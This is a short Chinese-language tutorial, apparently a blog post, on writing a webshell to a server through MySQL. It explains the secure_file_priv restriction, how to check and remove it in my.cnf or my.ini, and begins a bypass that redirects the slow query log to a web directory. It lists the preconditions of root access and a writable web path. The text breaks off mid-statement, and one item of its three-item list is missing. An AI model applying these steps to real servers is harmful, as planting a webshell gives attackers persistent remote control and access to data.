linux mysql webshell_通过MySQL写入webshell的几种方式

在实际写webshell的时候，我们经常会遭受到secure_file_priv的阻拦，secure_file_priv这个配置参数用来限制load data、outfile、load_file()的使用，其参数值有以下三种：

1、NULL：表示不允许导入导出

3、空，即没有具体值：表示不对导入导出做限制

可使用如下命令来查看secure_file_priv的值：

show global variables like '%secure%';

高版本的mysql中默认为NULL，也就是不让导入导出

解决办法

在Windows下可在my.ini的[mysqld]里面，添加secure_file_priv=

在linux下可在/etc/my.cnf的[mysqld]里面，添加secure_file_priv=

使用慢查询日志绕过此限制

利用条件：

1、root权限

2、网站的绝对路径且具有写入权限

执行如下语句写入shell：

查看慢查询日志开启情况show variables like '%slow_query_log%';开启慢查询日志set global slow_query_log=1;修改日志文件存储的绝对路径set global slow_query_log_file='E:/phpS